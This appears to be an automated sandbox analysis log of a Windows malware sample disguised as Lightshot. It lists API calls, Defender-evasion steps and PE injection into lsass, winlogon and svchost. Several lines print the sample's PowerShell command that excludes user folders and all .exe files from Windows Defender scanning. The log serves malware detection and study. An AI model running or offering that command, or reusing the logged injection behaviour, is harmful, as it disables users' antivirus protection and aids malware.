Code function: 31_2_000001E858987D90 IsProcessorFeaturePresent,RtlCaptureContext,RtlLookupFunctionEntry,RtlVirtualUnwind,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,

31_2_000001E858987D90

Source: C:\Windows\System32\dialer.exe

Code function: 65_2_00000001408460F0 LoadLibraryA,GetProcAddressForCaller,ExitProcess,VirtualProtect,VirtualProtect,VirtualProtect,

65_2_00000001408460F0

Source: C:\Windows\System32\dialer.exe

Code function: 25_2_00000001400017EC GetProcessHeap,HeapAlloc,OpenProcess,TerminateProcess,CloseHandle,GetProcessHeap,HeapFree,

25_2_00000001400017EC

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process token adjusted: Debug	Jump to behavior
Source: C:\Windows\System32\dialer.exe	Process token adjusted: Debug	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process token adjusted: Debug
Source: C:\Windows\System32\dialer.exe	Process token adjusted: Debug

Source: C:\Users\user\Desktop\nW2oopMIdg.exe	Code function: 0_2_00007FF7EB90118B Sleep,Sleep,_amsg_exit,_initterm,SetUnhandledExceptionFilter,malloc,strlen,malloc,memcpy,_cexit,	0_2_00007FF7EB90118B
Source: C:\Users\user\Desktop\nW2oopMIdg.exe	Code function: 0_2_00007FF7EB9011D8 _initterm,SetUnhandledExceptionFilter,malloc,strlen,malloc,memcpy,_cexit,	0_2_00007FF7EB9011D8
Source: C:\Windows\System32\winlogon.exe	Code function: 31_2_000001E858987D90 IsProcessorFeaturePresent,RtlCaptureContext,RtlLookupFunctionEntry,RtlVirtualUnwind,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	31_2_000001E858987D90
Source: C:\Windows\System32\winlogon.exe	Code function: 31_2_000001E85898D2A4 RtlCaptureContext,RtlLookupFunctionEntry,RtlVirtualUnwind,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	31_2_000001E85898D2A4
Source: C:\ProgramData\Screenshots\Lightshot.exe	Code function: 36_2_00007FF7B1C8118B Sleep,Sleep,_amsg_exit,_initterm,SetUnhandledExceptionFilter,malloc,strlen,malloc,memcpy,_cexit,	36_2_00007FF7B1C8118B
Source: C:\ProgramData\Screenshots\Lightshot.exe	Code function: 36_2_00007FF7B1C811D8 _initterm,SetUnhandledExceptionFilter,malloc,strlen,malloc,memcpy,_cexit,	36_2_00007FF7B1C811D8
Source: C:\Windows\System32\lsass.exe	Code function: 39_2_00000140AE867D90 IsProcessorFeaturePresent,RtlCaptureContext,RtlLookupFunctionEntry,RtlVirtualUnwind,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	39_2_00000140AE867D90
Source: C:\Windows\System32\lsass.exe	Code function: 39_2_00000140AE86D2A4 RtlCaptureContext,RtlLookupFunctionEntry,RtlVirtualUnwind,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	39_2_00000140AE86D2A4
Source: C:\Windows\System32\svchost.exe	Code function: 40_2_00000195DD5CD2A4 RtlCaptureContext,RtlLookupFunctionEntry,RtlVirtualUnwind,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	40_2_00000195DD5CD2A4
Source: C:\Windows\System32\svchost.exe	Code function: 40_2_00000195DD5C7D90 IsProcessorFeaturePresent,RtlCaptureContext,RtlLookupFunctionEntry,RtlVirtualUnwind,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	40_2_00000195DD5C7D90
Source: C:\Windows\System32\dwm.exe	Code function: 41_2_000001160CA4D2A4 RtlCaptureContext,RtlLookupFunctionEntry,RtlVirtualUnwind,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	41_2_000001160CA4D2A4
Source: C:\Windows\System32\dwm.exe	Code function: 41_2_000001160CA47D90 IsProcessorFeaturePresent,RtlCaptureContext,RtlLookupFunctionEntry,RtlVirtualUnwind,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	41_2_000001160CA47D90
Source: C:\Windows\System32\dialer.exe	Code function: 64_2_0000000140001160 Sleep,Sleep,_amsg_exit,_initterm,SetUnhandledExceptionFilter,malloc,strlen,malloc,memcpy,_cexit,	64_2_0000000140001160
Source: C:\Windows\System32\svchost.exe	Code function: 66_2_00000257E10AD2A4 RtlCaptureContext,RtlLookupFunctionEntry,RtlVirtualUnwind,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	66_2_00000257E10AD2A4
Source: C:\Windows\System32\svchost.exe	Code function: 66_2_00000257E10A7D90 IsProcessorFeaturePresent,RtlCaptureContext,RtlLookupFunctionEntry,RtlVirtualUnwind,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	66_2_00000257E10A7D90
Source: C:\Windows\System32\svchost.exe	Code function: 67_2_000001F28C937D90 IsProcessorFeaturePresent,RtlCaptureContext,RtlLookupFunctionEntry,RtlVirtualUnwind,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	67_2_000001F28C937D90
Source: C:\Windows\System32\svchost.exe	Code function: 67_2_000001F28C93D2A4 RtlCaptureContext,RtlLookupFunctionEntry,RtlVirtualUnwind,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	67_2_000001F28C93D2A4
Source: C:\Windows\System32\svchost.exe	Code function: 68_2_000001CA9854D2A4 RtlCaptureContext,RtlLookupFunctionEntry,RtlVirtualUnwind,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	68_2_000001CA9854D2A4
Source: C:\Windows\System32\svchost.exe	Code function: 68_2_000001CA98547D90 IsProcessorFeaturePresent,RtlCaptureContext,RtlLookupFunctionEntry,RtlVirtualUnwind,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	68_2_000001CA98547D90
Source: C:\Windows\System32\svchost.exe	Code function: 69_2_000001D265317D90 IsProcessorFeaturePresent,RtlCaptureContext,RtlLookupFunctionEntry,RtlVirtualUnwind,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	69_2_000001D265317D90
Source: C:\Windows\System32\svchost.exe	Code function: 69_2_000001D26531D2A4 RtlCaptureContext,RtlLookupFunctionEntry,RtlVirtualUnwind,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	69_2_000001D26531D2A4

HIPS / PFW / Operating System Protection Evasion

Adds a directory exclusion to Windows Defender

Source: C:\Users\user\Desktop\nW2oopMIdg.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramData) -ExclusionExtension '.exe' -Force
Source: C:\Windows\System32\conhost.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramData) -ExclusionExtension '.exe' -Force
Source: C:\Users\user\Desktop\nW2oopMIdg.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramData) -ExclusionExtension '.exe' -Force	Jump to behavior
Source: C:\ProgramData\Screenshots\Lightshot.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramData) -ExclusionExtension '.exe' -Force	Jump to behavior

Allocates memory in foreign processes

Source: C:\Windows\System32\dialer.exe	Memory allocated: C:\Windows\System32\winlogon.exe base: 1E858950000 protect: page execute and read and write	Jump to behavior
Source: C:\Windows\System32\dialer.exe	Memory allocated: C:\Windows\System32\lsass.exe base: 140ADFC0000 protect: page execute and read and write	Jump to behavior
Source: C:\Windows\System32\dialer.exe	Memory allocated: C:\Windows\System32\svchost.exe base: 195DD590000 protect: page execute and read and write	Jump to behavior
Source: C:\Windows\System32\dialer.exe	Memory allocated: C:\Windows\System32\dwm.exe base: 1160C9E0000 protect: page execute and read and write	Jump to behavior
Source: C:\Windows\System32\dialer.exe	Memory allocated: C:\Windows\System32\winlogon.exe base: 1E8589B0000 protect: page execute and read and write
Source: C:\Windows\System32\dialer.exe	Memory allocated: C:\Windows\System32\lsass.exe base: 140AE890000 protect: page execute and read and write
Source: C:\Windows\System32\dialer.exe	Memory allocated: C:\Windows\System32\svchost.exe base: 195DE1A0000 protect: page execute and read and write
Source: C:\Windows\System32\dialer.exe	Memory allocated: C:\Windows\System32\dwm.exe base: 1160CA10000 protect: page execute and read and write
Source: C:\Windows\System32\dialer.exe	Memory allocated: C:\Windows\System32\svchost.exe base: 257E1070000 protect: page execute and read and write
Source: C:\Windows\System32\dialer.exe	Memory allocated: C:\Windows\System32\svchost.exe base: 1F28C1D0000 protect: page execute and read and write
Source: C:\Windows\System32\dialer.exe	Memory allocated: C:\Windows\System32\svchost.exe base: 1CA97FD0000 protect: page execute and read and write
Source: C:\Windows\System32\dialer.exe	Memory allocated: C:\Windows\System32\svchost.exe base: 1D2652E0000 protect: page execute and read and write
Source: C:\Windows\System32\dialer.exe	Memory allocated: C:\Windows\System32\svchost.exe base: 254A27A0000 protect: page execute and read and write
Source: C:\Windows\System32\dialer.exe	Memory allocated: C:\Windows\System32\svchost.exe base: 24B87DA0000 protect: page execute and read and write
Source: C:\Windows\System32\dialer.exe	Memory allocated: C:\Windows\System32\svchost.exe base: 205FB3C0000 protect: page execute and read and write
Source: C:\Windows\System32\dialer.exe	Memory allocated: C:\Windows\System32\svchost.exe base: 1A205670000 protect: page execute and read and write
Source: C:\Windows\System32\dialer.exe	Memory allocated: C:\Windows\System32\svchost.exe base: 18EC1F30000 protect: page execute and read and write
Source: C:\Windows\System32\dialer.exe	Memory allocated: C:\Windows\System32\svchost.exe base: 25CE3BC0000 protect: page execute and read and write
Source: C:\Windows\System32\dialer.exe	Memory allocated: C:\Windows\System32\svchost.exe base: 26238950000 protect: page execute and read and write
Source: C:\Windows\System32\dialer.exe	Memory allocated: C:\Windows\System32\svchost.exe base: 2786E560000 protect: page execute and read and write
Source: C:\Windows\System32\dialer.exe	Memory allocated: C:\Windows\System32\svchost.exe base: 1611FF70000 protect: page execute and read and write
Source: C:\Windows\System32\dialer.exe	Memory allocated: C:\Windows\System32\svchost.exe base: 27C0F350000 protect: page execute and read and write
Source: C:\Windows\System32\dialer.exe	Memory allocated: C:\Windows\System32\svchost.exe base: 1B279570000 protect: page execute and read and write
Source: C:\Windows\System32\dialer.exe	Memory allocated: C:\Windows\System32\svchost.exe base: 1E70A460000 protect: page execute and read and write
Source: C:\Windows\System32\dialer.exe	Memory allocated: C:\Windows\System32\svchost.exe base: 22D13110000 protect: page execute and read and write
Source: C:\Windows\System32\dialer.exe	Memory allocated: C:\Windows\System32\svchost.exe base: 22C8C580000 protect: page execute and read and write
Source: C:\Windows\System32\dialer.exe	Memory allocated: C:\Windows\System32\svchost.exe base: 2825F1D0000 protect: page execute and read and write
Source: C:\Windows\System32\dialer.exe	Memory allocated: C:\Windows\System32\svchost.exe base: 2AA5D9C0000 protect: page execute and read and write
Source: C:\Windows\System32\dialer.exe	Memory allocated: C:\Windows\System32\svchost.exe base: 20BAEC90000 protect: page execute and read and write
Source: C:\Windows\System32\dialer.exe	Memory allocated: C:\Windows\System32\svchost.exe base: 1D2DC1B0000 protect: page execute and read and write
Source: C:\Windows\System32\dialer.exe	Memory allocated: C:\Windows\System32\svchost.exe base: 1C782530000 protect: page execute and read and write
Source: C:\Windows\System32\dialer.exe	Memory allocated: C:\Windows\System32\spoolsv.exe base: A60000 protect: page execute and read and write
Source: C:\Windows\System32\dialer.exe	Memory allocated: C:\Windows\System32\svchost.exe base: 24066EB0000 protect: page execute and read and write
Source: C:\Windows\System32\dialer.exe	Memory allocated: C:\Windows\System32\svchost.exe base: 1A3FD9A0000 protect: page execute and read and write
Source: C:\Windows\System32\dialer.exe	Memory allocated: C:\Windows\System32\svchost.exe base: 181CEDB0000 protect: page execute and read and write
Source: C:\Windows\System32\dialer.exe	Memory allocated: C:\Windows\System32\svchost.exe base: 2A142790000 protect: page execute and read and write
Source: C:\Windows\System32\dialer.exe	Memory allocated: C:\Windows\System32\svchost.exe base: 195B6F30000 protect: page execute and read and write
Source: C:\Windows\System32\dialer.exe	Memory allocated: C:\Windows\System32\svchost.exe base: 1428DC90000 protect: page execute and read and write
Source: C:\Windows\System32\dialer.exe	Memory allocated: C:\Program Files\Common Files\microsoft shared\ClickToRun\OfficeClickToRun.exe base: 1B973730000 protect: page execute and read and write
Source: C:\Windows\System32\dialer.exe	Memory allocated: C:\Windows\System32\svchost.exe base: 1DBFA540000 protect: page execute and read and write
Source: C:\Windows\System32\dialer.exe	Memory allocated: C:\Windows\System32\svchost.exe base: 1D76CCC0000 protect: page execute and read and write
Source: C:\Windows\System32\dialer.exe	Memory allocated: C:\Windows\System32\svchost.exe base: 1A239D90000 protect: page execute and read and write
Source: C:\Windows\System32\dialer.exe	Memory allocated: C:\Windows\System32\svchost.exe base: 17CFA390000 protect: page execute and read and write
Source: C:\Windows\System32\dialer.exe	Memory allocated: C:\Windows\System32\svchost.exe base: 23FB7270000 protect: page execute and read and write
Source: C:\Windows\System32\dialer.exe	Memory allocated: C:\Windows\System32\svchost.exe base: 1DF53B50000 protect: page execute and read and write
Source: C:\Windows\System32\dialer.exe	Memory allocated: C:\Windows\System32\svchost.exe base: 164E88A0000 protect: page execute and read and write
Source: C:\Windows\System32\dialer.exe	Memory allocated: C:\Windows\System32\svchost.exe base: 25177B50000 protect: page execute and read and write
Source: C:\Windows\System32\dialer.exe	Memory allocated: C:\Windows\System32\svchost.exe base: 28D5D340000 protect: page execute and read and write
Source: C:\Windows\System32\dialer.exe	Memory allocated: C:\Windows\System32\sihost.exe base: 24EB5E10000 protect: page execute and read and write
Source: C:\Windows\System32\dialer.exe	Memory allocated: C:\Windows\System32\svchost.exe base: 20859990000 protect: page execute and read and write
Source: C:\Windows\System32\dialer.exe	Memory allocated: C:\Windows\System32\svchost.exe base: 1F153C20000 protect: page execute and read and write
Source: C:\Windows\System32\dialer.exe	Memory allocated: C:\Windows\System32\svchost.exe base: 1D241D40000 protect: page execute and read and write
Source: C:\Windows\System32\dialer.exe	Memory allocated: C:\Windows\System32\svchost.exe base: 16FADAD0000 protect: page execute and read and write
Source: C:\Windows\System32\dialer.exe	Memory allocated: C:\Windows\System32\ctfmon.exe base: 20E03070000 protect: page execute and read and write
Source: C:\Windows\System32\dialer.exe	Memory allocated: C:\Windows\System32\svchost.exe base: 15204DB0000 protect: page execute and read and write
Source: C:\Windows\System32\dialer.exe	Memory allocated: C:\Windows\explorer.exe base: 3340000 protect: page execute and read and write
Source: C:\Windows\System32\dialer.exe	Memory allocated: C:\Windows\System32\svchost.exe base: 175C5280000 protect: page execute and read and write
Source: C:\Windows\System32\dialer.exe	Memory allocated: C:\Windows\System32\dasHost.exe base: 1CE76AA0000 protect: page execute and read and write
Source: C:\Windows\System32\dialer.exe	Memory allocated: C:\Windows\System32\svchost.exe base: 22EF1B30000 protect: page execute and read and write
Source: C:\Windows\System32\dialer.exe	Memory allocated: C:\Windows\System32\RuntimeBroker.exe base: 1C7F34F0000 protect: page execute and read and write
Source: C:\Windows\System32\dialer.exe	Memory allocated: C:\Windows\System32\svchost.exe base: 261DE4D0000 protect: page execute and read and write
Source: C:\Windows\System32\dialer.exe	Memory allocated: C:\Windows\System32\RuntimeBroker.exe base: 22E74520000 protect: page execute and read and write
Source: C:\Windows\System32\dialer.exe	Memory allocated: C:\Windows\System32\dllhost.exe base: 1B1A9D00000 protect: page execute and read and write
Source: C:\Windows\System32\dialer.exe	Memory allocated: C:\Windows\System32\RuntimeBroker.exe base: 217AF8C0000 protect: page execute and read and write
Source: C:\Windows\System32\dialer.exe	Memory allocated: C:\Windows\System32\smartscreen.exe base: 226D8930000 protect: page execute and read and write
Source: C:\Windows\System32\dialer.exe	Memory allocated: C:\Windows\System32\svchost.exe base: 13E5E930000 protect: page execute and read and write
Source: C:\Windows\System32\dialer.exe	Memory allocated: C:\Windows\System32\wbem\WmiPrvSE.exe base: 1F844140000 protect: page execute and read and write
Source: C:\Windows\System32\dialer.exe	Memory allocated: C:\Windows\System32\ApplicationFrameHost.exe base: 21197E30000 protect: page execute and read and write
Source: C:\Windows\System32\dialer.exe	Memory allocated: C:\Windows\System32\RuntimeBroker.exe base: 223DC870000 protect: page execute and read and write
Source: C:\Windows\System32\dialer.exe	Memory allocated: C:\Windows\ImmersiveControlPanel\SystemSettings.exe base: 1B4698D0000 protect: page execute and read and write
Source: C:\Windows\System32\dialer.exe	Memory allocated: C:\Windows\System32\svchost.exe base: 27234C50000 protect: page execute and read and write
Source: C:\Windows\System32\dialer.exe	Memory allocated: C:\Windows\System32\svchost.exe base: 28543540000 protect: page execute and read and write
Source: C:\Windows\System32\dialer.exe	Memory allocated: C:\Windows\System32\audiodg.exe base: 2B684340000 protect: page execute and read and write
Source: C:\Windows\System32\dialer.exe	Memory allocated: C:\Windows\System32\RuntimeBroker.exe base: 1BE58920000 protect: page execute and read and write
Source: C:\Windows\System32\dialer.exe	Memory allocated: C:\Windows\System32\wbem\WmiPrvSE.exe base: 228CA7E0000 protect: page execute and read and write
Source: C:\Windows\System32\dialer.exe	Memory allocated: C:\Windows\System32\conhost.exe base: 228B3E20000 protect: page execute and read and write
Source: C:\Windows\System32\dialer.exe	Memory allocated: C:\Windows\System32\RuntimeBroker.exe base: 1EDA6AC0000 protect: page execute and read and write
Source: C:\Windows\System32\dialer.exe	Memory allocated: C:\Windows\System32\RuntimeBroker.exe base: 15519600000 protect: page execute and read and write
Source: C:\Windows\System32\dialer.exe	Memory allocated: C:\Windows\System32\svchost.exe base: 185BB560000 protect: page execute and read and write
Source: C:\Windows\System32\dialer.exe	Memory allocated: C:\Windows\System32\dllhost.exe base: 17F327F0000 protect: page execute and read and write
Source: C:\Windows\System32\dialer.exe	Memory allocated: C:\Windows\System32\wbem\WmiPrvSE.exe base: 197F36A0000 protect: page execute and read and write
Source: C:\Windows\System32\dialer.exe	Memory allocated: C:\Windows\System32\wbem\WMIADAP.exe base: 1C019C80000 protect: page execute and read and write
Source: C:\Windows\System32\dialer.exe	Memory allocated: C:\Windows\System32\wbem\WMIADAP.exe base: 1C01A710000 protect: page execute and read and write

Contains functionality to inject code into remote processes

Source: C:\Windows\System32\dialer.exe

Code function: 25_2_0000000140001C88 CreateProcessW,VirtualAllocEx,WriteProcessMemory,WriteProcessMemory,VirtualAlloc,GetThreadContext,WriteProcessMemory,SetThreadContext,ResumeThread,OpenProcess,TerminateProcess,

25_2_0000000140001C88

Creates a thread in another existing process (thread injection)

Source: C:\Windows\System32\dialer.exe	Thread created: C:\Windows\System32\winlogon.exe EIP: 5895273C	Jump to behavior
Source: C:\Windows\System32\dialer.exe	Thread created: C:\Windows\System32\lsass.exe EIP: ADFC273C	Jump to behavior
Source: C:\Windows\System32\dialer.exe	Thread created: C:\Windows\System32\svchost.exe EIP: DD59273C	Jump to behavior
Source: C:\Windows\System32\dialer.exe	Thread created: unknown EIP: 589B273C
Source: C:\Windows\System32\dialer.exe	Thread created: unknown EIP: AE89273C
Source: C:\Windows\System32\dialer.exe	Thread created: unknown EIP: DE1A273C
Source: C:\Windows\System32\dialer.exe	Thread created: unknown EIP: CA1273C
Source: C:\Windows\System32\dialer.exe	Thread created: C:\Windows\System32\svchost.exe EIP: E107273C
Source: C:\Windows\System32\dialer.exe	Thread created: C:\Windows\System32\svchost.exe EIP: 8C1D273C
Source: C:\Windows\System32\dialer.exe	Thread created: C:\Windows\System32\svchost.exe EIP: 97FD273C
Source: C:\Windows\System32\dialer.exe	Thread created: C:\Windows\System32\svchost.exe EIP: 652E273C
Source: C:\Windows\System32\dialer.exe	Thread created: unknown EIP: A27A273C
Source: C:\Windows\System32\dialer.exe	Thread created: unknown EIP: 87DA273C
Source: C:\Windows\System32\dialer.exe	Thread created: unknown EIP: FB3C273C
Source: C:\Windows\System32\dialer.exe	Thread created: unknown EIP: 567273C
Source: C:\Windows\System32\dialer.exe	Thread created: unknown EIP: C1F3273C
Source: C:\Windows\System32\dialer.exe	Thread created: unknown EIP: E3BC273C
Source: C:\Windows\System32\dialer.exe	Thread created: unknown EIP: 3895273C
Source: C:\Windows\System32\dialer.exe	Thread created: unknown EIP: 6E56273C
Source: C:\Windows\System32\dialer.exe	Thread created: unknown EIP: 1FF7273C
Source: C:\Windows\System32\dialer.exe	Thread created: unknown EIP: F35273C
Source: C:\Windows\System32\dialer.exe	Thread created: unknown EIP: 7957273C
Source: C:\Windows\System32\dialer.exe	Thread created: unknown EIP: A46273C
Source: C:\Windows\System32\dialer.exe	Thread created: unknown EIP: 1311273C
Source: C:\Windows\System32\dialer.exe	Thread created: unknown EIP: 8C58273C
Source: C:\Windows\System32\dialer.exe	Thread created: unknown EIP: 5F1D273C
Source: C:\Windows\System32\dialer.exe	Thread created: unknown EIP: 5D9C273C
Source: C:\Windows\System32\dialer.exe	Thread created: unknown EIP: AEC9273C
Source: C:\Windows\System32\dialer.exe	Thread created: unknown EIP: DC1B273C
Source: C:\Windows\System32\dialer.exe	Thread created: unknown EIP: 8253273C
Source: C:\Windows\System32\dialer.exe	Thread created: unknown EIP: A6273C
Source: C:\Windows\System32\dialer.exe	Thread created: unknown EIP: 66EB273C
Source: C:\Windows\System32\dialer.exe	Thread created: unknown EIP: FD9A273C
Source: C:\Windows\System32\dialer.exe	Thread created: unknown EIP: CEDB273C
Source: C:\Windows\System32\dialer.exe	Thread created: unknown EIP: 4279273C
Source: C:\Windows\System32\dialer.exe	Thread created: unknown EIP: B6F3273C
Source: C:\Windows\System32\dialer.exe	Thread created: unknown EIP: 8DC9273C
Source: C:\Windows\System32\dialer.exe	Thread created: unknown EIP: 7373273C
Source: C:\Windows\System32\dialer.exe	Thread created: unknown EIP: FA54273C
Source: C:\Windows\System32\dialer.exe	Thread created: unknown EIP: 6CCC273C
Source: C:\Windows\System32\dialer.exe	Thread created: unknown EIP: 39D9273C
Source: C:\Windows\System32\dialer.exe	Thread created: unknown EIP: FA39273C
Source: C:\Windows\System32\dialer.exe	Thread created: unknown EIP: B727273C
Source: C:\Windows\System32\dialer.exe	Thread created: unknown EIP: 53B5273C
Source: C:\Windows\System32\dialer.exe	Thread created: unknown EIP: E88A273C
Source: C:\Windows\System32\dialer.exe	Thread created: unknown EIP: 77B5273C
Source: C:\Windows\System32\dialer.exe	Thread created: unknown EIP: 5D34273C
Source: C:\Windows\System32\dialer.exe	Thread created: unknown EIP: B5E1273C
Source: C:\Windows\System32\dialer.exe	Thread created: unknown EIP: 5999273C
Source: C:\Windows\System32\dialer.exe	Thread created: unknown EIP: 53C2273C
Source: C:\Windows\System32\dialer.exe	Thread created: unknown EIP: 41D4273C
Source: C:\Windows\System32\dialer.exe	Thread created: unknown EIP: ADAD273C
Source: C:\Windows\System32\dialer.exe	Thread created: unknown EIP: 307273C
Source: C:\Windows\System32\dialer.exe	Thread created: unknown EIP: 4DB273C
Source: C:\Windows\System32\dialer.exe	Thread created: unknown EIP: 334273C
Source: C:\Windows\System32\dialer.exe	Thread created: unknown EIP: C528273C
Source: C:\Windows\System32\dialer.exe	Thread created: unknown EIP: 76AA273C
Source: C:\Windows\System32\dialer.exe	Thread created: unknown EIP: F1B3273C
Source: C:\Windows\System32\dialer.exe	Thread created: unknown EIP: F34F273C
Source: C:\Windows\System32\dialer.exe	Thread created: unknown EIP: DE4D273C
Source: C:\Windows\System32\dialer.exe	Thread created: unknown EIP: 7452273C
Source: C:\Windows\System32\dialer.exe	Thread created: unknown EIP: A9D0273C
Source: C:\Windows\System32\dialer.exe	Thread created: unknown EIP: AF8C273C
Source: C:\Windows\System32\dialer.exe	Thread created: unknown EIP: D893273C
Source: C:\Windows\System32\dialer.exe	Thread created: unknown EIP: 5E93273C
Source: C:\Windows\System32\dialer.exe	Thread created: unknown EIP: 4414273C
Source: C:\Windows\System32\dialer.exe	Thread created: unknown EIP: 97E3273C
Source: C:\Windows\System32\dialer.exe	Thread created: unknown EIP: DC87273C
Source: C:\Windows\System32\dialer.exe	Thread created: unknown EIP: 698D273C
Source: C:\Windows\System32\dialer.exe	Thread created: unknown EIP: 34C5273C
Source: C:\Windows\System32\dialer.exe	Thread created: unknown EIP: 4354273C
Source: C:\Windows\System32\dialer.exe	Thread created: unknown EIP: 8434273C
Source: C:\Windows\System32\dialer.exe	Thread created: unknown EIP: 5892273C
Source: C:\Windows\System32\dialer.exe	Thread created: unknown EIP: CA7E273C
Source: C:\Windows\System32\dialer.exe	Thread created: unknown EIP: B3E2273C
Source: C:\Windows\System32\dialer.exe	Thread created: unknown EIP: A6AC273C
Source: C:\Windows\System32\dialer.exe	Thread created: unknown EIP: 1960273C
Source: C:\Windows\System32\dialer.exe	Thread created: unknown EIP: BB56273C
Source: C:\Windows\System32\dialer.exe	Thread created: unknown EIP: 327F273C
Source: C:\Windows\System32\dialer.exe	Thread created: unknown EIP: F36A273C
Source: C:\Windows\System32\dialer.exe	Thread created: unknown EIP: 19C8273C
Source: C:\Windows\System32\dialer.exe	Thread created: unknown EIP: 1A71273C

Injects a PE file into a foreign processes

Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\winlogon.exe base: 1E858950000 value starts with: 4D5A	Jump to behavior
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\lsass.exe base: 140ADFC0000 value starts with: 4D5A	Jump to behavior
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\svchost.exe base: 195DD590000 value starts with: 4D5A	Jump to behavior
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\dwm.exe base: 1160C9E0000 value starts with: 4D5A	Jump to behavior
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\winlogon.exe base: 1E8589B0000 value starts with: 4D5A
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\lsass.exe base: 140AE890000 value starts with: 4D5A
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\svchost.exe base: 195DE1A0000 value starts with: 4D5A
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\dwm.exe base: 1160CA10000 value starts with: 4D5A
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\svchost.exe base: 257E1070000 value starts with: 4D5A
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\svchost.exe base: 1F28C1D0000 value starts with: 4D5A
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\svchost.exe base: 1CA97FD0000 value starts with: 4D5A
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\svchost.exe base: 1D2652E0000 value starts with: 4D5A
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\svchost.exe base: 254A27A0000 value starts with: 4D5A
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\svchost.exe base: 24B87DA0000 value starts with: 4D5A
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\svchost.exe base: 205FB3C0000 value starts with: 4D5A
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\svchost.exe base: 1A205670000 value starts with: 4D5A
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\svchost.exe base: 18EC1F30000 value starts with: 4D5A
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\svchost.exe base: 25CE3BC0000 value starts with: 4D5A
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\svchost.exe base: 26238950000 value starts with: 4D5A
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\svchost.exe base: 2786E560000 value starts with: 4D5A
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\svchost.exe base: 1611FF70000 value starts with: 4D5A
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\svchost.exe base: 27C0F350000 value starts with: 4D5A
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\svchost.exe base: 1B279570000 value starts with: 4D5A
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\svchost.exe base: 1E70A460000 value starts with: 4D5A
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\svchost.exe base: 22D13110000 value starts with: 4D5A
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\svchost.exe base: 22C8C580000 value starts with: 4D5A
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\svchost.exe base: 2825F1D0000 value starts with: 4D5A
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\svchost.exe base: 2AA5D9C0000 value starts with: 4D5A
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\svchost.exe base: 20BAEC90000 value starts with: 4D5A
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\svchost.exe base: 1D2DC1B0000 value starts with: 4D5A
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\svchost.exe base: 1C782530000 value starts with: 4D5A
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\spoolsv.exe base: A60000 value starts with: 4D5A
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\svchost.exe base: 24066EB0000 value starts with: 4D5A
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\svchost.exe base: 1A3FD9A0000 value starts with: 4D5A
